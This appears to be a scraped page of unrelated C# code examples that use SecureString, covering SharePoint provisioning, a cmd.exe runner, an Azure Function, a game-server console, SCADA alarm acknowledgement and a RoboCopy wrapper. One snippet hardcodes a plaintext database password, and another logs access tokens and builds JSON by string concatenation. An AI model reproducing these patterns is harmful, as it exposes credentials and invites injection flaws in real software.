                                                        + " LCID= '11274'"
                                                        + " Min= '0' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Total ");
                listaPedidoDetalle.Update();
                //Pedido Detalle Ingredientes
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtIngredientes' "
                                                        + " ID='{E981CE78-9608-43CA-AB9C-93F6FFAC7100}' "
                                                        + " Name='peddtIngredidentes' "
                                                        + " Type ='Note' />", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Ingredientes");
                listaPedidoDetalle.Update();
                ////Pedido Detalle Categoria ERROR
                listaPedidoDetalle.Fields.AddFieldAsXml("<Field DisplayName='peddtCategoria' "
                                                        + " ID='{2C9F202A-3934-48B4-9230-CAD91D9122C1}' "
                                                        + " Name='peddtCategoria' "
                                                        + " Type ='Text'/> ", true, AddFieldOptions.DefaultValue);
                Console.WriteLine("    -{0} ", "Categoria ");
                listaPedidoDetalle.Update();
                try
                {
                    ctx.ExecuteQuery();
                }
                catch (Exception ex)
                {
                    Console.ForegroundColor = ConsoleColor.Red;
                    Console.WriteLine("    - EXISTENTE");
                    Console.ForegroundColor = ConsoleColor.Green;
                }
                Field[] CamposPedidoD = new Field[15];
                CamposPedidoD[0]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtCubiertos");
                CamposPedidoD[0].Title = "Cubiertos";
                CamposPedidoD[1]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtAderezos");
                CamposPedidoD[1].Title = "Aderezos";
                CamposPedidoD[2]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtCantidad");
                CamposPedidoD[2].Title = "Cantidad";
                CamposPedidoD[3]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtPan");
                CamposPedidoD[3].Title = "Pan";
                CamposPedidoD[4]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtObservaciones");
                CamposPedidoD[4].Title = "Observaciones";

                CamposPedidoD[5]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtUsuario");
                CamposPedidoD[5].Title = "Usuario";
                CamposPedidoD[6]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtIDPedido");
                CamposPedidoD[6].Title = "ID Pedido";
                CamposPedidoD[7]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtIDGuarnicion");
                CamposPedidoD[7].Title = "ID Guarnición";
                CamposPedidoD[8]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtIDCarta");
                CamposPedidoD[8].Title = "ID Carta";
                CamposPedidoD[9]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtTituloGuarnicion");
                CamposPedidoD[9].Title = "Titulo Guarnición";

                CamposPedidoD[10]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtSubTotal");
                CamposPedidoD[10].Title = "SubTotal";
                CamposPedidoD[11]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtBonificaciones");
                CamposPedidoD[11].Title = "Bonificaciones";
                CamposPedidoD[12]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtTotal");
                CamposPedidoD[12].Title = "Total";
                CamposPedidoD[13]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtIngredientes");
                CamposPedidoD[13].Title = "Ingredientes";
                CamposPedidoD[14]       = listaPedidoDetalle.Fields.GetByInternalNameOrTitle("peddtCategoria");
                CamposPedidoD[14].Title = "Categoría";
                foreach (Field c in CamposPedidoD)
                {
                    c.Update();
                    cntF++;
                }
                ctx.ExecuteQuery();

                Console.ForegroundColor = ConsoleColor.Green;
                Console.WriteLine("------- FIELDS CREADAS --------");
                Console.WriteLine("Cantidad de Fields configurados: " + cntF);
                Console.ResetColor();

                CrearPermisos PermisBuffet = new CrearPermisos("Buffet", "Buffet", usrUser, ctx);
                PermisBuffet.CrearGrupo();
                CrearPermisos PermisIntegrantes = new CrearPermisos("Integrantes", "Integrantes", usrUser, ctx);
                PermisIntegrantes.CrearGrupo();
                CrearPermisos PermisEmpresa = new CrearPermisos("Empresa", "Empresa", usrUser, ctx);
                PermisEmpresa.CrearGrupo();

                CrearPermisos.CrearNivel(ctx);
                CrearPermisos.AsignarPermis(ctx);
                CrearPermisoLista.AsignarPermiso(ctx);
                ActivarFeature.Activar(ctx);
            }
            Console.ForegroundColor = ConsoleColor.White;
            Console.WriteLine("\n ###### FIN ###### ");
            Console.WriteLine("\n         .-o=o-.");
            Console.WriteLine("       ,  /=o=o=o=\\ .--.");
            Console.WriteLine("      _|\\|=o=O=o=O=|    \\");
            Console.WriteLine("  __.'  a`\\=o=o=o=(`\\   /");
            Console.WriteLine("  '.   a 4/`|.-\"\"'`\\ \\ ;'`)   .---.");
            Console.WriteLine("    \\   .'  /   .--'  |_.'   / .-._)");
            Console.WriteLine("     `)  _.'   /     /`-.__.' /");
            Console.WriteLine("     `'-.____;     /'-.___.-'");
            Console.WriteLine("             `\"\"\"`')");
            Console.BackgroundColor = ConsoleColor.Green;
            Console.ReadKey();
        }
コード例 #18
0
        public static string Cmd(string inputStr, ExecCmdMode execCmdMode, string domainName, string useName, string password)
        {
            var process = new Process();

            process.StartInfo.FileName               = "cmd.exe";
            process.StartInfo.UseShellExecute        = false;
            process.StartInfo.RedirectStandardInput  = true;
            process.StartInfo.RedirectStandardOutput = true;
            process.StartInfo.RedirectStandardError  = true;
            process.StartInfo.WindowStyle            = ProcessWindowStyle.Normal;
            //process.StartInfo.WindowStyle = ProcessWindowStyle.Hidden;//does not function, the windows shown or hidden depends on  "process.StartInfo.CreateNoWindow"

            var returnOutput = false;

            if (execCmdMode == ExecCmdMode.AsyncWindow)
            {
                inputStr = "start .\\Resources\\start.bat " + inputStr;
                process.StartInfo.CreateNoWindow = true;
                returnOutput = false;
            }
            else if (execCmdMode == ExecCmdMode.SyncWindow)
            {
                inputStr = "start .\\Resources\\start.bat " + inputStr;
                process.StartInfo.CreateNoWindow = true;
                returnOutput = true;
            }
            else if (execCmdMode == ExecCmdMode.NoWindow)
            {
                process.StartInfo.CreateNoWindow = true;
                returnOutput = false;
            }
            else if (execCmdMode == ExecCmdMode.NoWindowWithOutput)
            {
                process.StartInfo.CreateNoWindow = true;
                returnOutput = true;
            }
            else if (execCmdMode == ExecCmdMode.EmptyWindow)
            {
                process.StartInfo.CreateNoWindow = false;
                //when CreateNoWindow = false, popup a empty cmd window, no any exec result appears.
                returnOutput = false;
            }
            else if (execCmdMode == ExecCmdMode.EmptyWindowWithOutput)
            {
                process.StartInfo.CreateNoWindow = false;
                returnOutput = true;
            }

            process.StartInfo.Domain   = domainName;
            process.StartInfo.UserName = useName;
            var pw = new System.Security.SecureString();

            foreach (var v in password.ToCharArray())
            {
                pw.AppendChar(v);
            }
            process.StartInfo.Password = pw;
            try
            {
                process.Start();
                process.StandardInput.WriteLine(inputStr);
                process.StandardInput.WriteLine("exit");
                var outputStr = "";
                if (returnOutput)
                {
                    outputStr = process.StandardOutput.ReadToEnd();
                }
                process.WaitForExit();
                process.Close();
                return(outputStr);
            }

            catch (Exception ex)
            {
                throw new ArgumentException("\n>> " + TypeName + ".Cmd Error: " + ex.Message);
            }
        }
コード例 #19
0
        public static async Task <HttpResponseMessage> Run([HttpTrigger(AuthorizationLevel.Function, "get", "post", Route = null)] HttpRequestMessage req, TraceWriter log)
        {
            log.Info("C# HTTP trigger function processed a request.");
            if (adminPassword == null)
            {
                // This is the part where I grab the secret.
                var azureServiceTokenProvider = new AzureServiceTokenProvider();
                log.Info("Getting the secret.");
                var kvClient = new KeyVaultClient(new KeyVaultClient.AuthenticationCallback(azureServiceTokenProvider.KeyVaultTokenCallback));
                log.Info("KeyVaultSecret: " + Environment.GetEnvironmentVariable("KeyVaultSecret"));
                adminPassword = (await kvClient.GetSecretAsync(Environment.GetEnvironmentVariable("KeyVaultSecret"))).Value;
            }

            // parse query parameter
            string name = req.GetQueryNameValuePairs()
                          .FirstOrDefault(q => string.Compare(q.Key, "name", true) == 0)
                          .Value;

            // Get request body
            dynamic data = await req.Content.ReadAsAsync <object>();

            // Set name to query string or body data
            name = name ?? data?.name;
            string title = data?.title;

            string siteUrl   = string.Empty;
            string adminUser = Environment.GetEnvironmentVariable("spAdminUser");

            log.Info("adminUser: "******"spSite");

            log.Info("spSite: " + adminUser);
            System.Security.SecureString secureString = new System.Security.SecureString();
            foreach (char ch in adminPassword)
            {
                secureString.AppendChar(ch);
            }
            string sitesRequest = Environment.GetEnvironmentVariable("listName");

            log.Info("listName: " + sitesRequest);
            Dictionary <string, string> siteInfo = new Dictionary <string, string>();

            OfficeDevPnP.Core.AuthenticationManager authManager = new OfficeDevPnP.Core.AuthenticationManager();
            string camlQuery =
                "<View>" +
                "<Query>" +
                "<Where>" +
                "<Eq>" +
                "<FieldRef Name='Status' />" +
                "<Value Type='Choice'>Approved</Value>" +
                "</Eq>" +
                "</Where>" +
                "</Query>" +
                "<RowLimit>1</RowLimit>" +
                "</View>";
            CamlQuery cq = new CamlQuery();

            cq.ViewXml = camlQuery;
            using (var context = authManager.GetSharePointOnlineAuthenticatedContextTenant(spSite, adminUser, secureString))
            {
                List list = context.Web.Lists.GetByTitle(sitesRequest);
                ListItemCollection lic = list.GetItems(cq);
                context.Load(lic);
                context.ExecuteQuery();
                foreach (ListItem item in lic)
                {
                    siteInfo.Add("Id", item["ID"].ToString());
                    siteInfo.Add("title", item["Title"].ToString());
                    siteInfo.Add("owner", item["Owner"].ToString());
                    siteInfo.Add("description", item["Description"] == null ? "" : item["Description"].ToString());
                    siteInfo.Add("type", item["SiteType"].ToString());
                    siteInfo.Add("alias", item["Alias"].ToString());
                    log.Info("Processing: " + item["Title"].ToString());
                    var siteType = siteInfo["type"];
                    switch (siteType.ToLower())
                    {
                    case "communicationsite":
                        var ctx = context.CreateSiteAsync(new CommunicationSiteCollectionCreationInformation
                        {
                            Title       = siteInfo["title"].ToString(),
                            Owner       = siteInfo["owner"].ToString(),
                            Lcid        = 1033,
                            Description = siteInfo["description"].ToString(),
                            Url         = spSite + "/sites/" + siteInfo["alias"].ToString(),
                        }).GetAwaiter().GetResult();
                        // Add OWner
                        User user = ctx.Web.EnsureUser(siteInfo["owner"].ToString());
                        ctx.Web.Context.Load(user);
                        ctx.Web.Context.ExecuteQueryRetry();
                        ctx.Web.AssociatedOwnerGroup.Users.AddUser(user);
                        ctx.Web.AssociatedOwnerGroup.Update();
                        ctx.Web.Context.ExecuteQueryRetry();
                        break;

                    case "teamsite":
                        var ctxTeamsite = context.CreateSiteAsync(new TeamSiteCollectionCreationInformation
                        {
                            DisplayName = siteInfo["title"].ToString(),
                            Description = siteInfo["description"].ToString(),
                            Alias       = siteInfo["alias"].ToString(),
                            IsPublic    = false,
                        }).GetAwaiter().GetResult();
                        siteUrl = ctxTeamsite.Url;
                        // Add OWner
                        User userTeamSite = ctxTeamsite.Web.EnsureUser(siteInfo["owner"].ToString());
                        ctxTeamsite.Web.Context.Load(userTeamSite);
                        ctxTeamsite.Web.Context.ExecuteQueryRetry();
                        ctxTeamsite.Web.AssociatedOwnerGroup.Users.AddUser(userTeamSite);
                        ctxTeamsite.Web.AssociatedOwnerGroup.Update();
                        ctxTeamsite.Web.Context.ExecuteQueryRetry();
                        break;

                    case "teams":
                        string token = Graph.getToken();
                        log.Info("Access Token: " + token);
                        string userId  = string.Empty;
                        string groupId = string.Empty;
                        if (string.IsNullOrEmpty(token) == false)
                        {
                            userId = Graph.getUser(token, siteInfo["owner"].ToString());
                            log.Info("userId: " + userId);
                        }
                        if (string.IsNullOrEmpty(userId) == false)
                        {
                            string dataPost =
                                "{ 'displayName': '" + siteInfo["title"].ToString() + "', 'groupTypes': ['Unified'], 'mailEnabled': true, 'mailNickname': '" + siteInfo["alias"].ToString().Replace("\r\n", "").Replace(" ", "") + "', 'securityEnabled': false, '*****@*****.**': ['https://graph.microsoft.com/v1.0/users/" + userId + "'], 'visibility': 'Private' }";
                            groupId = Graph.createUnifiedGroup(token, dataPost);
                            log.Info("userId: " + groupId);
                            //Graph.addOwnerToUnifiedGroup(token, groupId, userId);
                            //removeOwnerToUnifiedGroup(token, groupId, userId);
                        }
                        siteUrl = siteInfo["title"].ToString();
                        log.Info("Teams ready: " + siteUrl);
                        break;
                    }
                    // When the site or Teams has been created the status of the list item will change in ready
                    if (siteUrl != string.Empty)
                    {
                        item["Status"] = "Ready";
                        item.Update();

                        context.ExecuteQuery();
                    }
                }
            }

            return(siteUrl == null
                ? req.CreateResponse(HttpStatusCode.InternalServerError, "Something went wrong!")
                : req.CreateResponse(HttpStatusCode.OK, siteUrl));
        }
コード例 #20
0
        public LoginResult GetCharacterChallenge(bool sisi, out Token accessToken)
        {
            // need SecureCharacterName.
            if (SecureCharacterName == null || SecureCharacterName.Length == 0)
            {
                DecryptCharacterName(true);
                if (SecureCharacterName == null || SecureCharacterName.Length == 0)
                {
                    Windows.CharacterChallengeWindow ccw = new Windows.CharacterChallengeWindow(this);
                    bool?result = ccw.ShowDialog();

                    if (string.IsNullOrWhiteSpace(ccw.CharacterName))
                    {
                        // CharacterName is required, sorry dude
                        accessToken = null;
                        //  SecurePassword = null;
                        SecureCharacterName = null;
                        return(LoginResult.InvalidCharacterChallenge);
                    }

                    SecureCharacterName = new System.Security.SecureString();
                    foreach (char c in ccw.CharacterName)
                    {
                        SecureCharacterName.AppendChar(c);
                    }
                    SecureCharacterName.MakeReadOnly();
                    EncryptCharacterName();
                    App.Settings.Store();
                }
            }

            string uri = "https://login.eveonline.com/Account/Challenge?ReturnUrl=%2Foauth%2Fauthorize%2F%3Fclient_id%3DeveLauncherTQ%26lang%3Den%26response_type%3Dtoken%26redirect_uri%3Dhttps%3A%2F%2Flogin.eveonline.com%2Flauncher%3Fclient_id%3DeveLauncherTQ%26scope%3DeveClientToken";

            if (sisi)
            {
                uri = "https://sisilogin.testeveonline.com/Account/Challenge?ReturnUrl=%2Foauth%2Fauthorize%2F%3Fclient_id%3DeveLauncherTQ%26lang%3Den%26response_type%3Dtoken%26redirect_uri%3Dhttps%3A%2F%2Fsisilogin.testeveonline.com%2Flauncher%3Fclient_id%3DeveLauncherTQ%26scope%3DeveClientToken";
            }

            HttpWebRequest req = (HttpWebRequest)HttpWebRequest.Create(uri);

            req.Timeout           = 30000;
            req.AllowAutoRedirect = true;
            if (!sisi)
            {
                req.Headers.Add("Origin", "https://login.eveonline.com");
            }
            else
            {
                req.Headers.Add("Origin", "https://sisilogin.testeveonline.com");
            }
            req.Referer         = uri;
            req.CookieContainer = Cookies;
            req.Method          = "POST";
            req.ContentType     = "application/x-www-form-urlencoded";
            using (SecureBytesWrapper body = new SecureBytesWrapper())
            {
                byte[] body1 = Encoding.ASCII.GetBytes(String.Format("RememberCharacterChallenge={0}&Challenge=", "true"));
                using (SecureStringWrapper ssw = new SecureStringWrapper(SecureCharacterName, Encoding.ASCII))
                {
                    using (SecureBytesWrapper escapedCharacterName = new SecureBytesWrapper())
                    {
                        escapedCharacterName.Bytes = System.Web.HttpUtility.UrlEncodeToBytes(ssw.ToByteArray());

                        body.Bytes = new byte[body1.Length + escapedCharacterName.Bytes.Length];
                        System.Buffer.BlockCopy(body1, 0, body.Bytes, 0, body1.Length);
                        System.Buffer.BlockCopy(escapedCharacterName.Bytes, 0, body.Bytes, body1.Length, escapedCharacterName.Bytes.Length);
                    }
                }

                req.ContentLength = body.Bytes.Length;
                try
                {
                    using (Stream reqStream = req.GetRequestStream())
                    {
                        reqStream.Write(body.Bytes, 0, body.Bytes.Length);
                    }
                }
                catch (System.Net.WebException e)
                {
                    switch (e.Status)
                    {
                    case WebExceptionStatus.Timeout:
                    {
                        accessToken = null;
                        return(LoginResult.Timeout);
                    }

                    default:
                        throw;
                    }
                }
            }
            return(GetAccessToken(sisi, req, out accessToken));
        }
コード例 #21
0
        // TODO: Execute main code in a async task.
        static void Main(string[] args)
        {
            bool   acceptAny         = false;
            bool   allowRegistration = false;
            ushort port = 3221;

            #region Read command line params
            for (int i = 0; i < args.Length; ++i)
            {
                var arg = args[i];
                if (!arg.StartsWith("-", StringComparison.Ordinal) && !arg.StartsWith("/", StringComparison.Ordinal))
                {
                    Console.WriteLine("Parameters must start with '-' or '/'. Use '-?' to show help.");
                    return;
                }
                if (arg.Length == 1)
                {
                    continue;
                }
                arg = arg.Substring(1, arg.Length - 1);

                if (arg == "acceptany")
                {
                    acceptAny = true;
                    continue;
                }
                else if (arg.StartsWith("port="))
                {
                    var spl = arg.Split('=');
                    if (spl.Length != 2 || !ushort.TryParse(spl[1], out port))
                    {
                        Console.WriteLine("Error in parameter 'port'");
                        return;
                    }
                }
                else
                {
                    Console.WriteLine(
                        "Access Battle Server\r\n\r\n" +
                        "Usage: AccessBattleServer [-acceptany] [-port=3221]\r\n" +
                        "\r\nOptions:\r\n" +
                        "\t-port=3221    Define the port to use. Default: 3221\r\n" +
                        "\t-acceptany    Accept any client. Disables user database.\r\n" +
                        "\t              Clients will not require a password." +
                        "\r\nUsing '/' instead of '-' is allowed.\r\n"
                        );
                    return;
                }
            }
            #endregion

            Log.SetMode(LogMode.Console);
            Log.Priority = LogPriority.Information;

            // Create userdb folder if not existing
            IUserDatabaseProvider db = null;
            if (!acceptAny)
            {
                Console.WriteLine("==============");
                Console.WriteLine("Database Setup");
                Console.WriteLine("==============");
                var plugins = PluginHandler.Instance.GetPlugins <IUserDatabaseProviderFactory>();
                if (plugins.Count == 0)
                {
                    Console.WriteLine("No database plugin found.");
                }
                Console.WriteLine("Please select an option:\r\n");
                Console.WriteLine("\t1: Accept any client (no database)");
                Console.WriteLine("\t2: Text based database");
                for (int i = 0; i < plugins.Count; ++i)
                {
                    Console.WriteLine("\t" + (i + 3) + ": " + plugins[i].Metadata.Description);
                }
                Console.WriteLine("\r\nEnter the number of the option.");
                if (int.TryParse(Console.ReadLine(), out int ichoice) && ichoice > 0 && ichoice <= plugins.Count + 2)
                {
                    if (ichoice == 1)
                    {
                        acceptAny = true;
                    }
                    else if (ichoice == 2)
                    {
                        db = new TextFileUserDatabaseProvider();
                    }
                    else
                    {
                        db = plugins[ichoice - 3].CreateInstance();
                    }
                    if (!acceptAny)
                    {
                        Console.WriteLine("\r\nAre users allowed to create accounts?");
                        Console.WriteLine("Please select an option:\r\n");
                        Console.WriteLine("\t1: No");
                        Console.WriteLine("\t2: Yes");
                        if (int.TryParse(Console.ReadLine(), out int jchoice) && jchoice > 0 && jchoice < 3)
                        {
                            if (jchoice == 2)
                            {
                                allowRegistration = true;
                            }
                        }
                        else
                        {
                            Console.WriteLine("Invalid choice! Selecting option 'No'.");
                        }
                    }
                }
                else
                {
                    Console.WriteLine("Invalid choice! Server will exit.");
                    return;
                }
            }
            try
            {
                if (!acceptAny) // Have to check again
                {
                    try
                    {
                        Console.WriteLine("\r\n" + db.ConnectStringHint);
                        var connectString = Console.ReadLine();
                        if (!db.Connect(connectString).GetAwaiter().GetResult())
                        {
                            Log.WriteLine(LogPriority.Error, "Connecting to database failed. Server will exit.");
                            return;
                        }
                        Console.WriteLine();
                    }
                    catch (Exception e)
                    {
                        Log.WriteLine(LogPriority.Error, "Error setting up database: " + e.Message);
                        Console.WriteLine("Server will exit.");
                        return;
                    }
                }


                _server = new GameServer(port, db)
                {
                    AcceptAnyClient   = acceptAny,
                    AllowRegistration = allowRegistration
                };
                try
                {
                    _server.Start();
                }
                catch (Exception e)
                {
                    Console.WriteLine("Error: " + e.Message);
                    Console.WriteLine("Server will exit.");
                    return;
                }

                Console.WriteLine("Game Server started");
                if (acceptAny)
                {
                    Console.WriteLine("! Any client is accepted");
                }
                if (allowRegistration)
                {
                    Console.WriteLine("! Any client can create an account");
                }

                Console.WriteLine("Type 'help' to show available commands");

                string line;
                while ((line = Console.ReadLine()) != "exit")
                {
                    bool ok = false;
                    line = line.Trim();
                    if (line == ("help"))
                    {
                        Console.WriteLine(
                            "\texit                  Close this program.\r\n" +
                            "\tlist                  List all games\r\n" +
                            "\tadd user n p elo      Adds user 'u' with password 'p'. elo is optional ELO rating (default:1000) \r\n" +
                            "\tmcpw user             Check if user must change password\r\n" +
                            "\tset elo user elo      Set ELO rating for user\r\n" +
                            "\tget elo user          Get ELO rating for user\r\n" +
                            "\tdebug                 Debug command. Requires additional parameters:\r\n" +
                            "\t  win key=1234   1    Let player 1 win. Uses game key.\r\n" +
                            "\t  win name=gameX 2    Let player 2 win. Uses game name.");
                        ok = true;
                    }
                    else if (line == ("list"))
                    {
                        var games = _server.Games.ToList();
                        if (games.Count == 0)
                        {
                            Console.WriteLine("There are no games");;
                        }
                        else
                        {
                            foreach (var game in games)
                            {
                                Console.WriteLine(game.Key + " - " + game.Value.Name);
                            }
                        }
                        ok = true;
                    }
                    else if (line.StartsWith("set"))
                    {
                        if (line.StartsWith("set elo"))
                        {
                            if (db == null)
                            {
                                continue;
                            }
                            var sp = line.Split(' ');
                            if (sp.Length == 4)
                            {
                                int elo;
                                if (int.TryParse(sp[3], out elo))
                                {
                                    if (db.SetELO(sp[2], elo).GetAwaiter().GetResult())
                                    {
                                        ok = true;
                                    }
                                }
                            }
                        }
                    }
                    else if (line.StartsWith("get"))
                    {
                        if (line.StartsWith("get elo"))
                        {
                            if (db == null)
                            {
                                continue;
                            }
                            var sp = line.Split(' ');
                            if (sp.Length == 3)
                            {
                                var elo = db.GetELO(sp[2]).GetAwaiter().GetResult();
                                if (elo != null)
                                {
                                    Console.WriteLine("ELO: " + elo);
                                    ok = true;
                                }
                            }
                        }
                    }
                    else if (line.StartsWith("mcpw"))
                    {
                        if (db == null)
                        {
                            continue;
                        }
                        var sp = line.Split(' ');
                        if (sp.Length == 2)
                        {
                            bool?res = db.MustChangePasswordAsync(sp[1]).GetAwaiter().GetResult();

                            if (res == true)
                            {
                                Console.WriteLine("User must change password");
                                ok = true;
                            }
                            else if (res == false)
                            {
                                Console.WriteLine("User must not change password");
                                ok = true;
                            }
                        }
                    }
                    else if (line.StartsWith("debug ", StringComparison.Ordinal))
                    {
                        var sp = line.Split(' ');
                        if (sp.Length == 4)
                        {
                            if (sp[1] == "win")
                            {
                                uint k   = 0;
                                var  spx = sp[2].Split('=');
                                if (spx.Length != 2)
                                {
                                    continue;
                                }
                                if (spx[0] == "key")
                                {
                                    if (!uint.TryParse(spx[1], out k))
                                    {
                                        continue;
                                    }
                                }
                                else if (spx[0] == "name")
                                {
                                    k = _server.Games.FirstOrDefault(o => o.Value.Name == spx[1]).Key;
                                }
                                if (k == 0)
                                {
                                    continue;
                                }
                                int p;
                                if (!int.TryParse(sp[3], out p))
                                {
                                    continue;
                                }
                                _server.Win(p, k);
                                ok = true;
                            }
                        }
                    }
                    else if (line.StartsWith("add user ", StringComparison.Ordinal))
                    {
                        if (db == null)
                        {
                            continue;
                        }
                        var spl = line.Split(' ');
                        if (spl.Length == 4 || spl.Length == 5)
                        {
                            int elo = 1000;
                            if (spl.Length == 5 && !int.TryParse(spl[4], out elo))
                            {
                                elo = 1000;
                            }

                            if (elo < 0)
                            {
                                elo = 0;
                            }
                            if (elo > 10000)
                            {
                                elo = 10000;
                            }

                            var pw = new System.Security.SecureString();
                            foreach (var c in spl[3])
                            {
                                pw.AppendChar(c);
                            }
                            if (db.AddUserAsync(spl[2], pw, elo, true).GetAwaiter().GetResult())
                            {
                                Console.WriteLine("user added");
                            }
                            else
                            {
                                Console.WriteLine("add failed");
                            }
                            ok = true;
                        }
                    }

                    if (!ok)
                    {
                        Console.WriteLine("error");
                    }
                }
            }
            finally
            {
                Log.WriteLine(LogPriority.Information, "Stopping Server...");
                _server?.Stop();

                db?.Disconnect();
#if DEBUG
                Console.WriteLine("Press any key to exit...");
                Console.ReadKey();
#endif
                Log.WriteLine(LogPriority.Information, "Game Server stopped");
            }
        }
コード例 #22
0
ファイル: Program.cs プロジェクト: ddayzzz/CSharp-Learning
        static void Main(string[] args)
        {
            string connectString = @"Server=.\DESKTOP-QBVP6A5;Database=CSharp_SQL;User ID=sa;Password=@wangshu1715$";

            System.Security.SecureString secureStr = new System.Security.SecureString();
            secureStr.AppendChar('@');
            secureStr.AppendChar('w');
            secureStr.AppendChar('a');
            secureStr.AppendChar('n');
            secureStr.AppendChar('g');
            secureStr.AppendChar('s');
            secureStr.AppendChar('h');
            secureStr.AppendChar('u');
            secureStr.AppendChar('1');
            secureStr.AppendChar('7');
            secureStr.AppendChar('1');
            secureStr.AppendChar('5');
            secureStr.AppendChar('$');
            SqlConnection conn = new SqlConnection(connectString);

            conn.Open();
            Console.ReadKey();
        }
コード例 #23
0
        // Alarm acknowledgement
        private bool TryAlarmAck(string UserId, string PIN, long Cookie, string Phone)
        {
            // Log on to the .Net Client API with these details
            // This requires a Reference from the project to this dll
            ClearScada.Client.Simple.Connection connection;
            var node = new ClearScada.Client.ServerNode(ClearScada.Client.ConnectionType.Standard, "127.0.0.1", 5481);

            ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - connection created.");

            connection = new ClearScada.Client.Simple.Connection("Notify");
            try
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - connecting.");
                connection.Connect(node);
            }
            catch (CommunicationsException)
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Ack request - Unable to log in to ClearSCADA server using UserId and PIN.");
                return(false);
            }
            if (!connection.IsConnected)
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - failed connection.");
                return(false);
            }
            using (var spassword = new System.Security.SecureString())
            {
                foreach (var c in PIN)
                {
                    spassword.AppendChar(c);
                }
                try
                {
                    ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - logging in.");
                    connection.LogOn(UserId, spassword);
                }
                catch (AccessDeniedException)
                {
                    ((DrvNotifyChannel)this.Channel).LogAndEvent("Ack request - Access denied, incorrect user Id or PIN.");
                    return(false);
                }
                catch (PasswordExpiredException)
                {
                    ((DrvNotifyChannel)this.Channel).LogAndEvent("Ack request - credentials expired.");
                    return(false);
                }
            }
            // Get root object
            ClearScada.Client.Simple.DBObject root = null;
            try
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - get database object.");
                root = connection.GetObject("$Root");
            }
            catch (Exception e)
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Ack request - Cannot get root object. " + e.Message);
                return(false);
            }
            object[] parameters = new object[2];
            parameters[0] = Cookie;
            parameters[1] = "By Phone";

            // Try acknowledging alarm
            try
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Acknowledge - accepting by cookie.");
                root.InvokeMethod("AcceptAlarmByCookie", parameters);
            }
            catch (Exception e)
            {
                ((DrvNotifyChannel)this.Channel).LogAndEvent("Ack request - Cannot acknowledge. " + e.Message);
                return(false);
            }
            return(true);
        }
コード例 #24
0
ファイル: RoboCommand.cs プロジェクト: yesihaveidea/RoboSharp
        public Task Start(string domain = "", string username = "", string password = "")
        {
            Debugger.Instance.DebugMessage("RoboCommand started execution.");
            hasError = false;

            isRunning = true;

            var tokenSource = new CancellationTokenSource();
            CancellationToken cancellationToken = tokenSource.Token;

            resultsBuilder = new Results.ResultsBuilder();
            results        = null;

            // make sure source path is valid
            if (!Directory.Exists(CopyOptions.Source))
            {
                Debugger.Instance.DebugMessage("The Source directory does not exist.");
                hasError = true;
                OnCommandError?.Invoke(this, new CommandErrorEventArgs("The Source directory does not exist."));
                Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                tokenSource.Cancel(true);
            }

            #region Create Destination Directory

            try
            {
                var dInfo = Directory.CreateDirectory(CopyOptions.Destination);
                if (!dInfo.Exists)
                {
                    Debugger.Instance.DebugMessage("The destination directory does not exist.");
                    hasError = true;
                    OnCommandError?.Invoke(this, new CommandErrorEventArgs("The Destination directory is invalid."));
                    Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                    tokenSource.Cancel(true);
                }
            }
            catch (Exception ex)
            {
                Debugger.Instance.DebugMessage(ex.Message);
                hasError = true;
                OnCommandError?.Invoke(this, new CommandErrorEventArgs("The Destination directory is invalid."));
                Debugger.Instance.DebugMessage("RoboCommand execution stopped due to error.");
                tokenSource.Cancel(true);
            }

            #endregion

            backupTask = Task.Factory.StartNew(() =>
            {
                cancellationToken.ThrowIfCancellationRequested();
                process = new Process();

                if (!string.IsNullOrEmpty(domain))
                {
                    Debugger.Instance.DebugMessage(string.Format("RoboCommand running under domain - {0}", domain));
                    process.StartInfo.Domain = domain;
                }

                if (!string.IsNullOrEmpty(username))
                {
                    Debugger.Instance.DebugMessage(string.Format("RoboCommand running under username - {0}", username));
                    process.StartInfo.UserName = username;
                }

                if (!string.IsNullOrEmpty(password))
                {
                    Debugger.Instance.DebugMessage("RoboCommand password entered.");
                    var ssPwd = new System.Security.SecureString();

                    for (int x = 0; x < password.Length; x++)
                    {
                        ssPwd.AppendChar(password[x]);
                    }

                    process.StartInfo.Password = ssPwd;
                }

                Debugger.Instance.DebugMessage("Setting RoboCopy process up...");
                process.StartInfo.UseShellExecute        = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError  = true;
                process.StartInfo.WindowStyle            = ProcessWindowStyle.Hidden;
                process.StartInfo.CreateNoWindow         = true;
                process.StartInfo.FileName  = Configuration.RoboCopyExe;
                process.StartInfo.Arguments = GenerateParameters();
                process.OutputDataReceived += process_OutputDataReceived;
                process.ErrorDataReceived  += process_ErrorDataReceived;
                process.EnableRaisingEvents = true;
                process.Exited += Process_Exited;
                Debugger.Instance.DebugMessage("RoboCopy process started.");
                process.Start();
                process.BeginOutputReadLine();
                process.BeginErrorReadLine();
                process.WaitForExit();
                results = resultsBuilder.BuildResults(process?.ExitCode ?? -1);
